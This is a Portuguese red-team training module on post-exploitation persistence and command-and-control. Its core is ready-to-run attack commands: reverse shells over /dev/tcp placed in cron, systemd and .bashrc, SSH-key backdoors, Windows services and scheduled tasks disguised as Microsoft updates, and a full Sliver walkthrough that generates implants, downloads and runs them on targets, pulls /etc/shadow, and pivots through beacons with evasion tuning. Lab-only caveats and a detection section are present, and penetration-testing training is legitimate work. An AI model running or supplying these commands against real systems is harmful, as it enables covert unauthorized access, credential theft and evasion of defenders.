MÓDULO 11 — Pós-Exploração & Privilege Escalation: Linux, Windows, SUID, Tokens e Credenciais
Team Hacking78
Especialistas em Red Teaming
Resumo Executivo (TL;DR)
Guia completo de pós-exploração e escalada de privilégios em ambientes Linux e Windows. Aprenda a metodologia de enumeração sistemática (LinPEAS, WinPEAS, PowerUp), exploração de sudoers e GTFOBins, binários SUID, hijacking de PATH em Cron jobs e Linux Capabilities. No ecossistema Windows, domine o roubo de credenciais em disco, exploração de serviços (Unquoted Service Paths, permissões fracas de binários), abusos de tokens (SeImpersonate via PrintSpoofer/GodPotato, SeDebug), extração de hashes LSASS/SAM com Mimikatz e técnicas de bypass de UAC (Fodhelper).

MÓDULO 12 — PERSISTÊNCIA & C2 (COMMAND & CONTROL) + GUIA PRÁTICO SLIVER Objetivo: instalar mecanismos de persistência em Linux e Windows (sobreviver a reboot e reconexão), montar um servidor C2 (Sliver) do zero, gerar implantes, operar sessões com beaconing e usar o C2 como pivô — tudo com OPSEC e limpeza.
MÓDULO 12 — Persistência & C2: Tópico 1 — O que é persistência e por que ela existe
Persistência = o mecanismo que faz seu acesso sobreviver a reboot, logout, reinício de serviço ou reconexão de rede. Sem ela, você perde o host na primeira reinicialização.
C2 (Command & Control) = a infraestrutura que coordena os hosts comprometidos (implantes/beacons) a partir de um servidor central. O operador não fica conectado o tempo todo — o beacon liga para casa em intervalos (sleep/jitter) e recebe tarefas.
Implante (beacon) ──(beaconing periódico)──> Servidor C2 (seu Kali/VPS)
│ │
└── executa tarefas: shell, upload, captura, pivot, persistência💡 Por que beaconing em vez de conexão contínua?
- Evasão de detecção: o tráfego é espaçado e discreto
- Conexões longas e constantes: são o principal indicador de C2 para EDR/NDR
- Escala de operação: permite operar centenas de hosts de um único painel
A cadeia completa: Recon → Scan → Exploit → Shell → Escalada (Mód 11) → Persistência + C2 (este módulo) → Movimento lateral (Mód 14).
---
MÓDULO 12 — Persistência & C2: Tópico 2 — Linux — Persistência (do mais ao menos comum)
Técnica 1 — Cron (o mais clássico)
# 1. Adicionar ao crontab do usuário atual (roda ao logar) ou do root (se tiver)
crontab -e
# linha:
@reboot /tmp/.cache/persist.sh
# 2. Para usuários sem cron: /etc/cron.d/ (precisa de root)
echo "* * * * * root /tmp/.cache/persist.sh" > /etc/cron.d/persist
chmod 644 /etc/cron.d/persist
# 3. Script de persistência (ex.: reenvia reverse shell)
cat > /tmp/.cache/persist.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/SEU_IP/4444 0>&1
EOF
chmod +x /tmp/.cache/persist.shTécnica 2 — systemd (o mais "profissional" em sistemas modernos)
# /etc/systemd/system/persist.service (precisa de root)
[Unit]
Description=Manutencao do sistema
After=network.target
[Service]
ExecStart=/tmp/.cache/persist.sh
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
# ativar:
systemctl enable persist.service
systemctl start persist.serviceTécnica 3 — Chaves SSH (o mais silencioso e durável)
# 1. Gere uma chave no Kali
ssh-keygen -t ed25519 -f /tmp/id_ed25519 -N ""
# 2. No alvo, adicione a chave pública ao root (se tiver) ou a um usuário
echo "ssh-ed25519 AAA... seu_comentario" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys
# 3. Acesso futuro (silencioso, legítimo, discreto):
ssh -i /tmp/id_ed25519 root@ALVOPor que é a melhor: não gera processo estranho, não depende de serviço, parece tráfego normal de sysadmin. Sempre deixe uma chave SSH em qualquer host que você queira manter.
Técnica 4 — Arquivos de shell do usuário (.bashrc/.profile)
echo 'bash -i >& /dev/tcp/SEU_IP/4444 0>&1 &' >> /home/vitima/.bashrc
# dispara quando o usuário logarTécnica 5 — LD_PRELOAD (escondido, mas delicado)
# Compile uma lib que roda código ao ser carregada; aponte /etc/ld.so.preload
# para ela. TODO processo do sistema carrega seu código.
# ⚠️ Pode quebrar o sistema se mal feito — use só em lab.Técnica 6 — Backdoor em binários de sistema
# Substituir um binário pouco usado (ex.: /usr/bin/uptime) por um script
# que executa seu payload e depois o binário original (renomeado).
# ⚠️ Alterar binários do sistema = alto risco de detecção por verificadores
# de integridade (tripwire, AIDE) — o cliente pode descobrir.---
MÓDULO 12 — Persistência & C2: Tópico 3 — Windows — Persistência
Técnica 1 — Registry Run (o clássico)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v updater /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v updater /t REG_SZ /d "C:\Windows\Temp\shell.exe" /f # precisa adminTécnica 2 — Tarefa agendada (escondida e confiável)
# Cria tarefa que roda seu payload como SYSTEM no logon
schtasks /create /tn "Microsoft\Windows\Update\SysCheck" /tr "C:\Windows\Temp\shell.exe" /sc onlogon /ru SYSTEM /rl HIGHEST /f
# ou a cada X minutos:
schtasks /create /tn "SysCheck" /tr "C:\Windows\Temp\shell.exe" /sc minute /mo 30 /ru SYSTEM /f
# Ações "ocultas" — nome parecido com tarefa legítima da MicrosoftTécnica 3 — Serviço Windows (persistente como SYSTEM)
sc create "WindowsUpdateSvc" binPath= "C:\Windows\Temp\shell.exe" start= auto obj= LocalSystem
sc start WindowsUpdateSvcTécnica 4 — Startup Folder (simples, funciona para qualquer usuário)
copy C:\Windows\Temp\shell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\shell.exe"
# roda no logon de qualquer usuário (se tiver permissão de escrita)Técnica 5 — WMI Event Subscription (a mais "invisível")
# WMI Event Subscription: seu payload dispara em resposta a um evento
# (ex.: logon, boot, timer). Não cria arquivo de tarefa visível.
# Ferramentas: Persist via WMI do PowerSploit, ou manual com wmic.
# Detecção: difícil (não aparece em schtasks/autorun clássicos)Técnica 6 — DLL hijacking (persistente e furtivo)
# Se um aplicativo carrega uma DLL de um diretório gravável por você,
# coloque uma DLL maliciosa com o nome esperado (msfvenom -f dll).
# Toda vez que o app roda, seu código roda.
# (Mesma técnica da escalada do Módulo 11.16 — agora para persistência)Técnica 7 — Mimikatz + Golden Ticket (reino do Active Directory)
# Se você tem acesso a um DC (Módulo 14), o golden ticket (Kerberos)
# é a persistência definitiva: vale por anos e não é detectado como "backdoor"
# — é um ticket Kerberos legítimo. Guarde para o Módulo 14.---
MÓDULO 12 — Persistência & C2: Tópico 4 — C2 — Conceitos que você precisa antes de operar
| Termo | Significado |
|---|---|
| Implante (implant) | O payload que roda no alvo (o "beacon") |
| Listener | Porta/serviço no servidor C2 que recebe conexões |
| Session | Conexão interativa do beacon (estilo Metasploit) |
| Beacon | Modo "liga para casa" periódico (sleep + jitter) |
| Sleep | Intervalo entre check-ins (ex.: 60s) |
| Jitter | Variação aleatória do sleep (ex.: 30% → 42–78s) — evita padrão |
| Kill date | Data em que o beacon para de funcionar (higiene) |
| Transport | Protocolo do beacon: mTLS, HTTP(S), DNS, WireGuard, SMB, TCP |
| OPSEC | Operações seguras: não se expor, minimizar ruído, limpar depois |
💡 Escolha do transporte (o essencial)
| Transporte | Uso | Detecção |
|---|---|---|
| mTLS | Padrão inicial no lab (criptografado, simples) | Tráfego TLS em porta própria |
| HTTP(S) | Mais "natural" para ambientes reais (imita web) | Analisável por proxies |
| DNS | Ultrapassar firewalls (quase todo ambiente resolve DNS) | Consultas DNS anômalas |
| SMB | Movimento lateral dentro do Windows (pivoting) | Tráfego SMB entre hosts |
| WireGuard | Túnel VPN discreto para operações longas | Depende do ambiente |
Perfil de C2 (profile): como o beacon se parece no tráfego (JA3, User-Agent, padrões). Perfis mal configurados = detecção imediata por EDR. Sliver tem profiles configuráveis — no Módulo 18 você aprofunda evasão de verdade.
---
MÓDULO 12 — Persistência & C2: Tópico 5 — Ferramentas de C2 — o panorama
| Ferramenta | Tipo | Observação |
|---|---|---|
| Sliver | Open source (Go) | O melhor C2 gratuito — moderno, ativo, com beaconing nativo. É o nosso foco |
| Havoc | Open source | Alternativa popular (GUI), módulos, evasão |
| Metasploit | Framework | Já visto (Mód 7); serve como C2 simples, mas limitado para operações longas |
| Cobalt Strike | Comercial (o padrão de mercado) | O C2 mais usado por Red Teams e grupos reais; caro; base de conhecimento enorme |
| Empire | Open source (PowerShell/Python) | Bom para Windows/AD |
| Brute Ratel, Nighthawk, Mythic | Variados | Alternativas avançadas (comerciais/abertas) |
Por que Sliver: gratuito, código aberto, mantido pela Bishop Fox, multi-plataforma (Linux/macOS/Windows), beaconing nativo, sem "signature" de Cobalt Strike, e o que mais se aproxima do padrão profissional sem custo.
---
MÓDULO 12 — Persistência & C2: Tópico 6 — GUIA PRÁTICO — Sliver do ZERO (a atividade central do módulo)
12.6.0 Topologia do lab
Kali (192.168.56.101) → Servidor Sliver + gerador de implantes
Alvo Linux (Metasploitable/Ubuntu lab) → implante linux/amd64 (mTLS)
Alvo Windows (VM lab) → implante windows/amd64 (beacon, HTTP)12.6.1 Instalar o Sliver
# Método oficial (script) — Kali:
curl https://sliver.sh/install | sudo bash
# ou baixar release manual: https://github.com/BishopFox/sliver/releases
sliver-server install # instala o serviço (systemd) se quiser
# Iniciar
sudo sliver-server # console interativo
sliver > versionNo Kali, o Sliver pode exigir dependências (mingw-w64 para cross-compile de implantes Windows). Instale: sudo apt install mingw-w64.
12.6.2 Gerar o implante (implant)
# No console do Sliver:
# a) Implante Linux (staged = baixa o resto; stageless = completo)
generate --mtls SEU_IP --os linux --arch amd64 --save /tmp/implante-linux
# b) Implante Windows (cross-compile)
generate --mtls SEU_IP --os windows --arch amd64 --save /tmp/implante.exe
# c) BEACON (modo periódico) em vez de sessão interativa:
generate beacon --mtls SEU_IP --os windows --arch amd64 --save /tmp/beacon.exe
# (por padrão o Sliver já gera beacon; ajuste sleep/jitter depois)
# Opções úteis do generate:
# --skip-symbols → menor tamanho
# --name nome → nome do implante
# --arch amd64|386
# --debug → ver logs do implante (lab)O que o comando faz: gera um binário que, ao rodar no alvo, conecta de volta ao seu servidor usando mTLS (certificado mútuo) na porta padrão 8888.
12.6.3 Subir o listener
# No console do Sliver:
mtls --lhost 0.0.0.0 --lport 8888
# (no Kali moderno pode precisar: sudo ss -tulpn | grep 8888 para confirmar)
# Confirme o listener ativo:
listeners12.6.4 Entregar e executar no alvo
# Servir o implante do Kali:
python3 -m http.server 8080
# No alvo Linux:
wget http://192.168.56.101:8080/implante-linux -O /tmp/.update && chmod +x /tmp/.update && /tmp/.update
# No alvo Windows (PowerShell):
iwr http://192.168.56.101:8080/beacon.exe -OutFile C:\Windows\Temp\beacon.exe
C:\Windows\Temp\beacon.exe12.6.5 Receber a sessão
# No console do Sliver — o beacon aparece automaticamente:
sessions # lista sessões interativas
beacons # lista beacons (modo periódico)
# Sessão interativa:
sessions -i <ID> # entra na sessão
# A partir daqui, comandos como:
whoami
ls /root
cat /etc/passwd
shell # shell interativo do sistema
upload /root/linpeas.sh /tmp/linpeas.sh
download /etc/shadow /tmp/shadow.txt12.6.6 Operar o BEACON (o modo profissional)
# Beacons ficam no modo periódico. Configure o ritmo:
beacons
use beacon <ID> # seleciona o beacon
# Ajustar sleep e jitter (OPSEC: evite padrão fixo):
sleep 60 # intervalo base
jitter 30 # +-30% de variação (42–78s)
# Executar tarefa (o beacon executa no próximo check-in e reporta):
execute -o whoami
ls C:\Windows\Temp
# Saída chega quando o beacon volta a "ligar para casa"💡 Diferença crucial session x beacon
- Session: conexão contínua (rápida, mas visível e frágil)
- Beacon: check-ins periódicos (lento, mas furtivo e resiliente — o padrão de operações reais)
12.6.7 Comandos essenciais do Sliver (a folha de cola)
help # todos os comandos
info # detalhes da sessão/beacon atual
whoami / getuid / getgid # identidade
ls / cd / cat / download / upload
ps # processos
ifconfig / netstat # rede do alvo
shell # shell interativo
execute -o comando # executar comando e ver saída
screenshot # captura de tela (Windows)
portfwd add -b 127.0.0.1:8080 -r 10.10.10.5:80 # forward (pivot)
socks5 start # proxy SOCKS5 pelo beacon (pivot!)
socks5 stop
msf # integração com Metasploit (pivot/exploits)
pivots # gerenciar pivots (SMB/TCP)
implants # gerenciar implantes12.6.8 Persistência via Sliver (integrando 12.2/12.3)
# O Sliver tem módulos de persistência prontos (Windows):
# (no contexto de uma sessão/beacon Windows)
persist --service --name "WindowsUpdateSvc" --profile implant
persist --registry --name "Updater"
# Linux:
# (cron/ssh/systemd — faça manual como em 12.2, ou use o execute)Higiene de persistência: instale a persistência depois da escalada e antes de perder o acesso. Teste reiniciando o host do lab.
12.6.9 Limpeza (a parte que separa profissionais)
# Quando terminar a operação:
sessions -k <ID> # matar sessão
beacons rm <ID> # remover beacon
# E no alvo: remova o implante, cron, serviços, chaves que você adicionou
rm /tmp/.update
crontab -r # (se era seu)
systemctl disable persist.service && rm /etc/systemd/system/persist.service
# Windows:
sc delete WindowsUpdateSvc
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v updater /fRegra de ouro: deixe o ambiente como encontrou (ou documente o que alterou). O relatório final lista o que foi instalado e removido. Nunca deixe backdoor ativo num cliente sem autorização explícita de persistência no escopo.
---
MÓDULO 12 — Persistência & C2: Tópico 7 — Pivoting com o C2 (recapitulando e ampliando o Módulo 7)
Com uma sessão/beacon ativa, o host comprometido vira o pivô:
# SOCKS5 (o mais flexível — qualquer ferramenta passa pelo beacon):
socks5 start
# → Sliver informa: 127.0.0.1:1081
# Configure o proxychains:
# /etc/proxychains4.conf → socks5 127.0.0.1 1081
proxychains4 nmap -sT -Pn 10.10.10.5
proxychains4 curl http://10.10.10.5
# Port forwarding (um serviço específico):
portfwd add -b 127.0.0.1:8080 -r 10.10.10.5:80
curl http://127.0.0.1:8080 # = 10.10.10.5:80 via beacon
# Pivot SMB (Windows → movimento lateral, Módulo 14):
pivots add smb --name pivot1---
MÓDULO 12 — Persistência & C2: Tópico 8 — Detecção e defesa (a outra metade)
Como os defensores detectam C2 (para você saber o que evitar e o que recomendar):
Indicadores de beaconing:
- Conexões periódicas com intervalo regular (sleep sem jitter)
- Tráfego para portas/domínios não usuais (8888, IPs diretos)
- JA3/JA3S fingerprinting (impressão digital do TLS do beacon)
- UA incomum ou TLS em domínio sem histórico
Controles que quebram C2:
- Egress filtering (saída só por proxy autenticado)
- DNS monitoring (túneis DNS)
- EDR com detecção de implant (Módulo 18) — deletes de implant em memória
- Allowlist de aplicações (AppLocker/WDAC)
- Network Detection & Response (NDR) — anomalias de fluxoMitigações que o relatório deve recomendar: segmentação, egress control, EDR moderno, monitoramento de beaconing (pesquisa de intervalos regulares), revisão de autoruns/tarefas/cron, e princípio do menor privilégio (o beacon só escala se houver vetor).
---
MÓDULO 12 — Persistência & C2: Tópico 9 — O fluxo completo de uma operação (recapitulando tudo até aqui)
1. Escopo e autorização (Mód 3)
2. Recon OSINT (Mód 4) → Scan (Mód 5) → Vulnerabilidades (Mód 6)
3. Exploração → acesso inicial (Mód 7)
4. Escalada de privilégio (Mód 11)
5. PERSISTÊNCIA + C2 (este módulo):
- Instalar beacon (Sliver) no host
- Configurar sleep/jitter
- Persistir (cron/serviço/chave SSH)
- Pivotar (socks5/portfwd) para a próxima rede
6. Movimento lateral (Mód 14) — repetir 4-5 em cada host novo
7. Coleta de dados (11.17)
8. Limpeza + Relatório (Mód 3/20)---
MÓDULO 12 — Persistência & C2: Tópico 10 — Atividade prática do Módulo 12
Tudo no seu laboratório (Kali + VMs Linux/Windows). Nunca em sistemas sem autorização.
- Persistência Linux (lab): ganhe acesso ao Metasploitable/Ubuntu lab; instale (a) cron, (b) chave SSH; reinicie a VM e confirme que o acesso voltou
- Persistência Windows (lab): ganhe acesso à VM Windows; instale (a) registry Run, (b) tarefa agendada; reinicie e confirme
- Sliver — instalação: instale o Sliver no Kali e rode
version - Sliver — implante Linux: gere implante mTLS Linux, entregue, suba listener, receba a sessão, rode
whoami,ls /etc,shell - Sliver — beacon Windows: gere beacon Windows, entregue, ajuste sleep 60 + jitter 30, execute tarefas e veja a saída no check-in
- Sliver — persistência: use os módulos
persistno host Windows de lab e confirme pós-reboot - Sliver — pivot: com o beacon ativo, rode
socks5 start, configure proxychains e escaneie a rede interna do lab (10.10.10.0/24) - Limpeza: remova tudo (implante, persistência, listener) e confirme que o host voltou ao estado original
- Desafio — a operação completa documentada: crie
c2_operation.mdem~/pentest/evidencias/c2/com topologia, comandos do Sliver, persistência instalada, pivoting realizado, limpeza executada e análise de detecção com 5 recomendações de defesa
---
Perguntas Frequentes (FAQ)
Por que a exploração de vulnerabilidades de kernel deve ser considerada o último recurso na escalada de privilégios?
Exploits de kernel operam diretamente no Ring 0 do sistema operacional. Qualquer falha na compensação de offsets de memória ou incompatibilidade na versão do patch pode causar Kernel Panic no Linux ou Blue Screen of Death (BSOD) no Windows, resultando em indisponibilidade imediata do servidor e violação das Regras de Engajamento (RoE).
Qual é a função da flag '-p' ao executar um shell através de um binário SUID no Linux?
Por padrão de segurança, o interpretador bash rebaixa o Effective User ID (EUID) para o Real User ID (UID) original quando detecta uma discrepância de privilégios. A flag -p (privileged mode) força o bash a preservar o EUID de root herdado do bit SUID, concedendo acesso privilegiado.
Como o privilégio SeImpersonatePrivilege permite a elevação para SYSTEM no Windows?
O SeImpersonatePrivilege autoriza um processo a assumir a identidade e o token de qualquer cliente que se autentique nele. Ferramentas como PrintSpoofer e GodPotato utilizam pipes nomeados (Named Pipes) e o serviço de Spooler de Impressão ou subsistema RPC/COM para forçar o sistema operacional (NT AUTHORITY\SYSTEM) a autenticar localmente, capturando e impersonando esse token privilegiado.
Qual é a causa raiz da vulnerabilidade de Unquoted Service Path no Windows?
Ela ocorre quando o caminho de um serviço contém espaços e não está encapsulado por aspas duplas na chave de registro ImagePath. O subsistema de criação de processos do Windows (CreateProcess API) interpreta cada espaço como um separador de argumentos em potencial, tentando executar arquivos executáveis nos diretórios intermediários antes de alcançar o executável legítimo.
